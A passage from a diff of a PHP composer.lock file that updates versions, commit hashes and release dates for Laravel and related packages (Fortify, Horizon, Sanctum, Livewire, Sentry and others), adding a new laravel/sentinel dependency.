"https://api.github.com/repos/firebase/php-jwt/zipball/5645b43af647b6947daac1d0f659dd1fbe8d3b65", - "reference": "5645b43af647b6947daac1d0f659dd1fbe8d3b65", + "url": "https://api.github.com/repos/firebase/php-jwt/zipball/28aa0694bcfdfa5e2959c394d5a1ee7a5083629e", + "reference": "28aa0694bcfdfa5e2959c394d5a1ee7a5083629e", "shasum": "" }, "require": { @@ -1092,9 +1092,9 @@ ], "support": { "issues": "https://github.com/firebase/php-jwt/issues", - "source": "https://github.com/firebase/php-jwt/tree/v7.0.2" + "source": "https://github.com/firebase/php-jwt/tree/v7.0.3" }, - "time": "2025-12-16T22:17:28+00:00" + "time": "2026-02-25T22:16:40+00:00" }, { "name": "fruitcake/php-cors", @@ -1702,28 +1702,28 @@ }, { "name": "laravel/fortify", - "version": "v1.34.0", + "version": "v1.35.0", "source": { "type": "git", "url": "https://github.com/laravel/fortify.git", - "reference": "c322715f2786210a722ed56966f7c9877b653b25" + "reference": "24c5bb81ea4787e0865c4a62f054ed7d1cb7a093" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/fortify/zipball/c322715f2786210a722ed56966f7c9877b653b25", - "reference": "c322715f2786210a722ed56966f7c9877b653b25", + "url": "https://api.github.com/repos/laravel/fortify/zipball/24c5bb81ea4787e0865c4a62f054ed7d1cb7a093", + "reference": "24c5bb81ea4787e0865c4a62f054ed7d1cb7a093", "shasum": "" }, "require": { "bacon/bacon-qr-code": "^3.0", "ext-json": "*", - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/console": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", - "pragmarx/google2fa": "^9.0", - "symfony/console": "^6.0|^7.0" + "pragmarx/google2fa": "^9.0" }, "require-dev": { - "orchestra/testbench": "^8.36|^9.15|^10.8", + "orchestra/testbench": "^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -1761,20 +1761,20 @@ "issues": "https://github.com/laravel/fortify/issues", "source": "https://github.com/laravel/fortify" }, - "time": "2026-01-26T10:23:19+00:00" + "time": "2026-02-24T14:00:44+00:00" }, { "name": "laravel/framework", - "version": "v12.49.0", + "version": "v12.53.0", "source": { "type": "git", "url": "https://github.com/laravel/framework.git", - "reference": "4bde4530545111d8bdd1de6f545fa8824039fcb5" + "reference": "f57f035c0d34503d9ff30be76159bb35a003cd1f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/framework/zipball/4bde4530545111d8bdd1de6f545fa8824039fcb5", - "reference": "4bde4530545111d8bdd1de6f545fa8824039fcb5", + "url": "https://api.github.com/repos/laravel/framework/zipball/f57f035c0d34503d9ff30be76159bb35a003cd1f", + "reference": "f57f035c0d34503d9ff30be76159bb35a003cd1f", "shasum": "" }, "require": { @@ -1983,40 +1983,41 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2026-01-28T03:40:49+00:00" + "time": "2026-02-24T14:35:15+00:00" }, { "name": "laravel/horizon", - "version": "v5.43.0", + "version": "v5.45.0", "source": { "type": "git", "url": "https://github.com/laravel/horizon.git", - "reference": "2a04285ba83915511afbe987cbfedafdc27fd2de" + "reference": "7126ddf27fe9750c43ab0b567085dee3917d0510" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/horizon/zipball/2a04285ba83915511afbe987cbfedafdc27fd2de", - "reference": "2a04285ba83915511afbe987cbfedafdc27fd2de", + "url": "https://api.github.com/repos/laravel/horizon/zipball/7126ddf27fe9750c43ab0b567085dee3917d0510", + "reference": "7126ddf27fe9750c43ab0b567085dee3917d0510", "shasum": "" }, "require": { "ext-json": "*", "ext-pcntl": "*", "ext-posix": "*", - "illuminate/contracts": "^9.21|^10.0|^11.0|^12.0", - "illuminate/queue": "^9.21|^10.0|^11.0|^12.0", - "illuminate/support": "^9.21|^10.0|^11.0|^12.0", + "illuminate/contracts": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/queue": "^9.21|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^9.21|^10.0|^11.0|^12.0|^13.0", + "laravel/sentinel": "^1.0", "nesbot/carbon": "^2.17|^3.0", "php": "^8.0", "ramsey/uuid": "^4.0", - "symfony/console": "^6.0|^7.0", - "symfony/error-handler": "^6.0|^7.0", + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/error-handler": "^6.0|^7.0|^8.0", "symfony/polyfill-php83": "^1.28", - "symfony/process": "^6.0|^7.0" + "symfony/process": "^6.0|^7.0|^8.0" }, "require-dev": { "mockery/mockery": "^1.0", - "orchestra/testbench": "^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^7.56|^8.37|^9.16|^10.9|^11.0", "phpstan/phpstan": "^1.10|^2.0", "predis/predis": "^1.1|^2.0|^3.0" }, @@ -2060,43 +2061,44 @@ ], "support": { "issues": "https://github.com/laravel/horizon/issues", - "source": "https://github.com/laravel/horizon/tree/v5.43.0" + "source": "https://github.com/laravel/horizon/tree/v5.45.0" }, - "time": "2026-01-15T15:10:56+00:00" + "time": "2026-02-21T14:20:09+00:00" }, { "name": "laravel/pail", - "version": "v1.2.4", + "version": "v1.2.6", "source": { "type": "git", "url": "https://github.com/laravel/pail.git", - "reference": "49f92285ff5d6fc09816e976a004f8dec6a0ea30" + "reference": "aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pail/zipball/49f92285ff5d6fc09816e976a004f8dec6a0ea30", - "reference": "49f92285ff5d6fc09816e976a004f8dec6a0ea30", + "url": "https://api.github.com/repos/laravel/pail/zipball/aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf", + "reference": "aa71a01c309e7f66bc2ec4fb1a59291b82eb4abf", "shasum": "" }, "require": { "ext-mbstring": "*", - "illuminate/console": "^10.24|^11.0|^12.0", - "illuminate/contracts": "^10.24|^11.0|^12.0", - "illuminate/log": "^10.24|^11.0|^12.0", - "illuminate/process": "^10.24|^11.0|^12.0", - "illuminate/support": "^10.24|^11.0|^12.0", + "illuminate/console": "^10.24|^11.0|^12.0|^13.0", + "illuminate/contracts": "^10.24|^11.0|^12.0|^13.0", + "illuminate/log": "^10.24|^11.0|^12.0|^13.0", + "illuminate/process": "^10.24|^11.0|^12.0|^13.0", + "illuminate/support": "^10.24|^11.0|^12.0|^13.0", "nunomaduro/termwind": "^1.15|^2.0", "php": "^8.2", - "symfony/console": "^6.0|^7.0" + "symfony/console": "^6.0|^7.0|^8.0" }, "require-dev": { - "laravel/framework": "^10.24|^11.0|^12.0", + "laravel/framework": "^10.24|^11.0|^12.0|^13.0", "laravel/pint": "^1.13", - "orchestra/testbench-core": "^8.13|^9.17|^10.8", + "orchestra/testbench-core": "^8.13|^9.17|^10.8|^11.0", "pestphp/pest": "^2.20|^3.0|^4.0", "pestphp/pest-plugin-type-coverage": "^2.3|^3.0|^4.0", "phpstan/phpstan": "^1.12.27", - "symfony/var-dumper": "^6.3|^7.0" + "symfony/var-dumper": "^6.3|^7.0|^8.0", + "symfony/yaml": "^6.3|^7.0|^8.0" }, "type": "library", "extra": { @@ -2141,34 +2143,34 @@ "issues": "https://github.com/laravel/pail/issues", "source": "https://github.com/laravel/pail" }, - "time": "2025-11-20T16:29:35+00:00" + "time": "2026-02-09T13:44:54+00:00" }, { "name": "laravel/prompts", - "version": "v0.3.11", + "version": "v0.3.13", "source": { "type": "git", "url": "https://github.com/laravel/prompts.git", - "reference": "dd2a2ed95acacbcccd32fd98dee4c946ae7a7217" + "reference": "ed8c466571b37e977532fb2fd3c272c784d7050d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/prompts/zipball/dd2a2ed95acacbcccd32fd98dee4c946ae7a7217", - "reference": "dd2a2ed95acacbcccd32fd98dee4c946ae7a7217", + "url": "https://api.github.com/repos/laravel/prompts/zipball/ed8c466571b37e977532fb2fd3c272c784d7050d", + "reference": "ed8c466571b37e977532fb2fd3c272c784d7050d", "shasum": "" }, "require": { "composer-runtime-api": "^2.2", "ext-mbstring": "*", "php": "^8.1", - "symfony/console": "^6.2|^7.0" + "symfony/console": "^6.2|^7.0|^8.0" }, "conflict": { "illuminate/console": ">=10.17.0 <10.25.0", "laravel/framework": ">=10.17.0 <10.25.0" }, "require-dev": { - "illuminate/collections": "^10.0|^11.0|^12.0", + "illuminate/collections": "^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.5", "pestphp/pest": "^2.3|^3.4|^4.0", "phpstan/phpstan": "^1.12.28", @@ -2198,36 +2200,36 @@ "description": "Add beautiful and user-friendly forms to your command-line applications.", "support": { "issues": "https://github.com/laravel/prompts/issues", - "source": "https://github.com/laravel/prompts/tree/v0.3.11" + "source": "https://github.com/laravel/prompts/tree/v0.3.13" }, - "time": "2026-01-27T02:55:06+00:00" + "time": "2026-02-06T12:17:10+00:00" }, { "name": "laravel/sanctum", - "version": "v4.3.0", + "version": "v4.3.1", "source": { "type": "git", "url": "https://github.com/laravel/sanctum.git", - "reference": "c978c82b2b8ab685468a7ca35224497d541b775a" + "reference": "e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/sanctum/zipball/c978c82b2b8ab685468a7ca35224497d541b775a", - "reference": "c978c82b2b8ab685468a7ca35224497d541b775a", + "url": "https://api.github.com/repos/laravel/sanctum/zipball/e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76", + "reference": "e3b85d6e36ad00e5db2d1dcc27c81ffdf15cbf76", "shasum": "" }, "require": { "ext-json": "*", - "illuminate/console": "^11.0|^12.0", - "illuminate/contracts": "^11.0|^12.0", - "illuminate/database": "^11.0|^12.0", - "illuminate/support": "^11.0|^12.0", + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/database": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", "php": "^8.2", - "symfony/console": "^7.0" + "symfony/console": "^7.0|^8.0" }, "require-dev": { "mockery/mockery": "^1.6", - "orchestra/testbench": "^9.15|^10.8", + "orchestra/testbench": "^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.10" }, "type": "library", @@ -2263,31 +2265,90 @@ "issues": "https://github.com/laravel/sanctum/issues", "source": "https://github.com/laravel/sanctum" }, - "time": "2026-01-22T22:27:01+00:00" + "time": "2026-02-07T17:19:31+00:00" }, { - "name": "laravel/serializable-closure", - "version": "v2.0.8", + "name": "laravel/sentinel", + "version": "v1.0.1", "source": { "type": "git", - "url": "https://github.com/laravel/serializable-closure.git", - "reference": "7581a4407012f5f53365e11bafc520fd7f36bc9b" + "url": "https://github.com/laravel/sentinel.git", + "reference": "7a98db53e0d9d6f61387f3141c07477f97425603" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/7581a4407012f5f53365e11bafc520fd7f36bc9b", - "reference": "7581a4407012f5f53365e11bafc520fd7f36bc9b", + "url": "https://api.github.com/repos/laravel/sentinel/zipball/7a98db53e0d9d6f61387f3141c07477f97425603", + "reference": "7a98db53e0d9d6f61387f3141c07477f97425603", + "shasum": "" + }, + "require": { + "ext-json": "*", + "illuminate/container": "^8.37|^9.0|^10.0|^11.0|^12.0|^13.0", + "php": "^8.0" + }, + "require-dev": { + "laravel/pint": "^1.27", + "orchestra/testbench": "^6.47.1|^7.56|^8.37|^9.16|^10.9|^11.0", + "phpstan/phpstan": "^2.1.33" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Sentinel\\SentinelServiceProvider" + ] + }, + "branch-alias": { + "dev-main": "1.x-dev" + } + }, + "autoload": { + "psr-4": { + "Laravel\\Sentinel\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + }, + { + "name": "Mior Muhammad Zaki", + "email": "mior@laravel.com" + } + ], + "support": { + "source": "https://github.com/laravel/sentinel/tree/v1.0.1" + }, + "time": "2026-02-12T13:32:54+00:00" + }, + { + "name": "laravel/serializable-closure", + "version": "v2.0.10", + "source": { + "type": "git", + "url": "https://github.com/laravel/serializable-closure.git", + "reference": "870fc81d2f879903dfc5b60bf8a0f94a1609e669" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/870fc81d2f879903dfc5b60bf8a0f94a1609e669", + "reference": "870fc81d2f879903dfc5b60bf8a0f94a1609e669", "shasum": "" }, "require": { "php": "^8.1" }, "require-dev": { - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "nesbot/carbon": "^2.67|^3.0", "pestphp/pest": "^2.36|^3.0|^4.0", "phpstan/phpstan": "^2.0", - "symfony/var-dumper": "^6.2.0|^7.0.0" + "symfony/var-dumper": "^6.2.0|^7.0.0|^8.0.0" }, "type": "library", "extra": { @@ -2324,36 +2385,36 @@ "issues": "https://github.com/laravel/serializable-closure/issues", "source": "https://github.com/laravel/serializable-closure" }, - "time": "2026-01-08T16:22:46+00:00" + "time": "2026-02-20T19:59:49+00:00" }, { "name": "laravel/socialite", - "version": "v5.24.2", + "version": "v5.24.3", "source": { "type": "git", "url": "https://github.com/laravel/socialite.git", - "reference": "5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613" + "reference": "0feb62267e7b8abc68593ca37639ad302728c129" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/socialite/zipball/5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613", - "reference": "5cea2eebf11ca4bc6c2f20495c82a70a9b3d1613", + "url": "https://api.github.com/repos/laravel/socialite/zipball/0feb62267e7b8abc68593ca37639ad302728c129", + "reference": "0feb62267e7b8abc68593ca37639ad302728c129", "shasum": "" }, "require": { "ext-json": "*", "firebase/php-jwt": "^6.4|^7.0", "guzzlehttp/guzzle": "^6.0|^7.0", - "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", - "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", "league/oauth1-client": "^1.11", "php": "^7.2|^8.0", "phpseclib/phpseclib": "^3.0" }, "require-dev": { "mockery/mockery": "^1.0", - "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8", + "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8|^11.0", "phpstan/phpstan": "^1.12.23", "phpunit/phpunit": "^8.0|^9.3|^10.4|^11.5|^12.0" }, @@ -2396,20 +2457,20 @@ "issues": "https://github.com/laravel/socialite/issues", "source": "https://github.com/laravel/socialite" }, - "time": "2026-01-10T16:07:28+00:00" + "time": "2026-02-21T13:32:50+00:00" }, { "name": "laravel/tinker", - "version": "v2.11.0", + "version": "v2.11.1", "source": { "type": "git", "url": "https://github.com/laravel/tinker.git", - "reference": "3d34b97c9a1747a81a3fde90482c092bd8b66468" + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/tinker/zipball/3d34b97c9a1747a81a3fde90482c092bd8b66468", - "reference": "3d34b97c9a1747a81a3fde90482c092bd8b66468", + "url": "https://api.github.com/repos/laravel/tinker/zipball/c9f80cc835649b5c1842898fb043f8cc098dd741", + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741", "shasum": "" }, "require": { @@ -2460,9 +2521,9 @@ ], "support": { "issues": "https://github.com/laravel/tinker/issues", - "source": "https://github.com/laravel/tinker/tree/v2.11.0" + "source": "https://github.com/laravel/tinker/tree/v2.11.1" }, - "time": "2025-12-19T19:16:45+00:00" + "time": "2026-02-06T14:12:35+00:00" }, { "name": "laravel/ui", @@ -2602,16 +2663,16 @@ }, { "name": "league/commonmark", - "version": "2.8.0", + "version": "2.8.1", "source": { "type": "git", "url": "https://github.com/thephpleague/commonmark.git", - "reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb" + "reference": "84b1ca48347efdbe775426f108622a42735a6579" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/4efa10c1e56488e658d10adf7b7b7dcd19940bfb", - "reference": "4efa10c1e56488e658d10adf7b7b7dcd19940bfb", + "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579", + "reference": "84b1ca48347efdbe775426f108622a42735a6579", "shasum": "" }, "require": { @@ -2636,9 +2697,9 @@ "phpstan/phpstan": "^1.8.2", "phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0", "scrutinizer/ocular": "^1.8.1", - "symfony/finder": "^5.3 | ^6.0 | ^7.0", - "symfony/process": "^5.4 | ^6.0 | ^7.0", - "symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0", + "symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0", + "symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0", + "symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0", "unleashedtech/php-coding-standard": "^3.1.1", "vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0" }, @@ -2705,7 +2766,7 @@ "type": "tidelift" } ], - "time": "2025-11-26T21:48:24+00:00" + "time": "2026-03-05T21:37:03+00:00" }, { "name": "league/config", @@ -2791,16 +2852,16 @@ }, { "name": "league/flysystem", - "version": "3.31.0", + "version": "3.32.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem.git", - "reference": "1717e0b3642b0df65ecb0cc89cdd99fa840672ff" + "reference": "254b1595b16b22dbddaaef9ed6ca9fdac4956725" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/1717e0b3642b0df65ecb0cc89cdd99fa840672ff", - "reference": "1717e0b3642b0df65ecb0cc89cdd99fa840672ff", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/254b1595b16b22dbddaaef9ed6ca9fdac4956725", + "reference": "254b1595b16b22dbddaaef9ed6ca9fdac4956725", "shasum": "" }, "require": { @@ -2868,22 +2929,22 @@ ], "support": { "issues": "https://github.com/thephpleague/flysystem/issues", - "source": "https://github.com/thephpleague/flysystem/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem/tree/3.32.0" }, - "time": "2026-01-23T15:38:47+00:00" + "time": "2026-02-25T17:01:41+00:00" }, { "name": "league/flysystem-aws-s3-v3", - "version": "3.31.0", + "version": "3.32.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem-aws-s3-v3.git", - "reference": "e36a2bc60b06332c92e4435047797ded352b446f" + "reference": "a1979df7c9784d334ea6df356aed3d18ac6673d0" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/e36a2bc60b06332c92e4435047797ded352b446f", - "reference": "e36a2bc60b06332c92e4435047797ded352b446f", + "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/a1979df7c9784d334ea6df356aed3d18ac6673d0", + "reference": "a1979df7c9784d334ea6df356aed3d18ac6673d0", "shasum": "" }, "require": { @@ -2923,9 +2984,9 @@ "storage" ], "support": { - "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.31.0" + "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.32.0" }, - "time": "2026-01-23T15:30:45+00:00" + "time": "2026-02-25T16:46:44+00:00" }, { "name": "league/flysystem-local", @@ -3341,36 +3402,36 @@ }, { "name": "livewire/livewire", - "version": "v3.7.8", + "version": "v3.7.11", "source": { "type": "git", "url": "https://github.com/livewire/livewire.git", - "reference": "06ec7e8cd61bb01739b8f26396db6fe73b7e0607" + "reference": "addd6e8e9234df75f29e6a327ee2a745a7d67bb6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/livewire/livewire/zipball/06ec7e8cd61bb01739b8f26396db6fe73b7e0607", - "reference": "06ec7e8cd61bb01739b8f26396db6fe73b7e0607", + "url": "https://api.github.com/repos/livewire/livewire/zipball/addd6e8e9234df75f29e6a327ee2a745a7d67bb6", + "reference": "addd6e8e9234df75f29e6a327ee2a745a7d67bb6", "shasum": "" }, "require": { - "illuminate/database": "^10.0|^11.0|^12.0", - "illuminate/routing": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", - "illuminate/validation": "^10.0|^11.0|^12.0", + "illuminate/database": "^10.0|^11.0|^12.0|^13.0", + "illuminate/routing": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", + "illuminate/validation": "^10.0|^11.0|^12.0|^13.0", "laravel/prompts": "^0.1.24|^0.2|^0.3", "league/mime-type-detection": "^1.9", "php": "^8.1", - "symfony/console": "^6.0|^7.0", - "symfony/http-kernel": "^6.2|^7.0" + "symfony/console": "^6.0|^7.0|^8.0", + "symfony/http-kernel": "^6.2|^7.0|^8.0" }, "require-dev": { "calebporzio/sushi": "^2.1", - "laravel/framework": "^10.15.0|^11.0|^12.0", + "laravel/framework": "^10.15.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.3.1", - "orchestra/testbench": "^8.21.0|^9.0|^10.0", - "orchestra/testbench-dusk": "^8.24|^9.1|^10.0", - "phpunit/phpunit": "^10.4|^11.5", + "orchestra/testbench": "^8.21.0|^9.0|^10.0|^11.0", + "orchestra/testbench-dusk": "^8.24|^9.1|^10.0|^11.0", + "phpunit/phpunit": "^10.4|^11.5|^12.5", "psy/psysh": "^0.11.22|^0.12" }, "type": "library", @@ -3405,7 +3466,7 @@ "description": "A front-end framework for Laravel.", "support": { "issues": "https://github.com/livewire/livewire/issues", - "source": "https://github.com/livewire/livewire/tree/v3.7.8" + "source": "https://github.com/livewire/livewire/tree/v3.7.11" }, "funding": [ { @@ -3413,7 +3474,7 @@ "type": "github" } ], - "time": "2026-02-03T02:57:56+00:00" + "time": "2026-02-26T00:58:19+00:00" }, { "name": "log1x/laravel-webfonts", @@ -3901,16 +3962,16 @@ }, { "name": "nette/schema", - "version": "v1.3.3", + "version": "v1.3.5", "source": { "type": "git", "url": "https://github.com/nette/schema.git", - "reference": "2befc2f42d7c715fd9d95efc31b1081e5d765004" + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nette/schema/zipball/2befc2f42d7c715fd9d95efc31b1081e5d765004", - "reference": "2befc2f42d7c715fd9d95efc31b1081e5d765004", + "url": "https://api.github.com/repos/nette/schema/zipball/f0ab1a3cda782dbc5da270d28545236aa80c4002", + "reference": "f0ab1a3cda782dbc5da270d28545236aa80c4002", "shasum": "" }, "require": { @@ -3918,8 +3979,10 @@ "php": "8.1 - 8.5" }, "require-dev": { - "nette/tester": "^2.5.2", - "phpstan/phpstan-nette": "^2.0@stable", + "nette/phpstan-rules": "^1.0", + "nette/tester": "^2.6", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1.39@stable", "tracy/tracy": "^2.8" }, "type": "library", @@ -3960,22 +4023,22 @@ ], "support": { "issues": "https://github.com/nette/schema/issues", - "source": "https://github.com/nette/schema/tree/v1.3.3" + "source": "https://github.com/nette/schema/tree/v1.3.5" }, - "time": "2025-10-30T22:57:59+00:00" + "time": "2026-02-23T03:47:12+00:00" }, { "name": "nette/utils", - "version": "v4.1.2", + "version": "v4.1.3", "source": { "type": "git", "url": "https://github.com/nette/utils.git", - "reference": "f76b5dc3d6c6d3043c8d937df2698515b99cbaf5" + "reference": "bb3ea637e3d131d72acc033cfc2746ee893349fe" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nette/utils/zipball/f76b5dc3d6c6d3043c8d937df2698515b99cbaf5", - "reference": "f76b5dc3d6c6d3043c8d937df2698515b99cbaf5", + "url": "https://api.github.com/repos/nette/utils/zipball/bb3ea637e3d131d72acc033cfc2746ee893349fe", + "reference": "bb3ea637e3d131d72acc033cfc2746ee893349fe", "shasum": "" }, "require": { @@ -3987,8 +4050,10 @@ }, "require-dev": { "jetbrains/phpstorm-attributes": "^1.2", + "nette/phpstan-rules": "^1.0", "nette/tester": "^2.5", - "phpstan/phpstan": "^2.0@stable", + "phpstan/extension-installer": "^1.4@stable", + "phpstan/phpstan": "^2.1@stable", "tracy/tracy": "^2.9" }, "suggest": { @@ -4049,9 +4114,9 @@ ], "support": { "issues": "https://github.com/nette/utils/issues", - "source": "https://github.com/nette/utils/tree/v4.1.2" + "source": "https://github.com/nette/utils/tree/v4.1.3" }, - "time": "2026-02-03T17:21:09+00:00" + "time": "2026-02-13T03:05:33+00:00" }, { "name": "nikic/php-parser", @@ -4166,31 +4231,31 @@ }, { "name": "nunomaduro/termwind", - "version": "v2.3.3", + "version": "v2.4.0", "source": { "type": "git", "url": "https://github.com/nunomaduro/termwind.git", - "reference": "6fb2a640ff502caace8e05fd7be3b503a7e1c017" + "reference": "712a31b768f5daea284c2169a7d227031001b9a8" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/6fb2a640ff502caace8e05fd7be3b503a7e1c017", - "reference": "6fb2a640ff502caace8e05fd7be3b503a7e1c017", + "url": "https://api.github.com/repos/nunomaduro/termwind/zipball/712a31b768f5daea284c2169a7d227031001b9a8", + "reference": "712a31b768f5daea284c2169a7d227031001b9a8", "shasum": "" }, "require": { "ext-mbstring": "*", "php": "^8.2", - "symfony/console": "^7.3.6" + "symfony/console": "^7.4.4 || ^8.0.4" }, "require-dev": { - "illuminate/console": "^11.46.1", - "laravel/pint": "^1.25.1", + "illuminate/console": "^11.47.0", + "laravel/pint": "^1.27.1", "mockery/mockery": "^1.6.12", - "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.1.3", + "pestphp/pest": "^2.36.0 || ^3.8.4 || ^4.3.2", "phpstan/phpstan": "^1.12.32", "phpstan/phpstan-strict-rules": "^1.6.2", - "symfony/var-dumper": "^7.3.5", + "symfony/var-dumper": "^7.3.5 || ^8.0.4", "thecodingmachine/phpstan-strict-rules": "^1.0.0" }, "type": "library", @@ -4222,7 +4287,7 @@ "email": "enunomaduro@gmail.com" } ], - "description": "Its like Tailwind CSS, but for the console.", + "description": "It's like Tailwind CSS, but for the console.", "keywords": [ "cli", "console", @@ -4233,7 +4298,7 @@ ], "support": { "issues": "https://github.com/nunomaduro/termwind/issues", - "source": "https://github.com/nunomaduro/termwind/tree/v2.3.3" + "source": "https://github.com/nunomaduro/termwind/tree/v2.4.0" }, "funding": [ { @@ -4249,7 +4314,7 @@ "type": "github" } ], - "time": "2025-11-20T02:34:59+00:00" + "time": "2026-02-16T23:10:27+00:00" }, { "name": "nyholm/psr7", @@ -5776,16 +5841,16 @@ }, { "name": "psy/psysh", - "version": "v0.12.19", + "version": "v0.12.20", "source": { "type": "git", "url": "https://github.com/bobthecow/psysh.git", - "reference": "a4f766e5c5b6773d8399711019bb7d90875a50ee" + "reference": "19678eb6b952a03b8a1d96ecee9edba518bb0373" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/bobthecow/psysh/zipball/a4f766e5c5b6773d8399711019bb7d90875a50ee", - "reference": "a4f766e5c5b6773d8399711019bb7d90875a50ee", + "url": "https://api.github.com/repos/bobthecow/psysh/zipball/19678eb6b952a03b8a1d96ecee9edba518bb0373", + "reference": "19678eb6b952a03b8a1d96ecee9edba518bb0373", "shasum": "" }, "require": { @@ -5849,9 +5914,9 @@ ], "support": { "issues": "https://github.com/bobthecow/psysh/issues", - "source": "https://github.com/bobthecow/psysh/tree/v0.12.19" + "source": "https://github.com/bobthecow/psysh/tree/v0.12.20" }, - "time": "2026-01-30T17:33:13+00:00" + "time": "2026-02-11T15:05:28+00:00" }, { "name": "purplepixie/phpdns", @@ -6288,16 +6353,16 @@ }, { "name": "sentry/sentry", - "version": "4.19.1", + "version": "4.21.0", "source": { "type": "git", "url": "https://github.com/getsentry/sentry-php.git", - "reference": "1c21d60bebe67c0122335bd3fe977990435af0a3" + "reference": "2bf405fc4d38f00073a7d023cf321e59f614d54c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/1c21d60bebe67c0122335bd3fe977990435af0a3", - "reference": "1c21d60bebe67c0122335bd3fe977990435af0a3", + "url": "https://api.github.com/repos/getsentry/sentry-php/zipball/2bf405fc4d38f00073a7d023cf321e59f614d54c", + "reference": "2bf405fc4d38f00073a7d023cf321e59f614d54c", "shasum": "" }, "require": { @@ -6318,9 +6383,12 @@ "guzzlehttp/promises": "^2.0.3", "guzzlehttp/psr7": "^1.8.4|^2.1.1", "monolog/monolog": "^1.6|^2.0|^3.0", + "nyholm/psr7": "^1.8", "phpbench/phpbench": "^1.0", "phpstan/phpstan": "^1.3", - "phpunit/phpunit": "^8.5|^9.6", + "phpunit/phpunit": "^8.5.52|^9.6.34", + "spiral/roadrunner-http": "^3.6", + "spiral/roadrunner-worker": "^3.6", "vimeo/psalm": "^4.17" }, "suggest": { @@ -6360,7 +6428,7 @@ ], "support": { "issues": "https://github.com/getsentry/sentry-php/issues", - "source": "https://github.com/getsentry/sentry-php/tree/4.19.1" + "source": 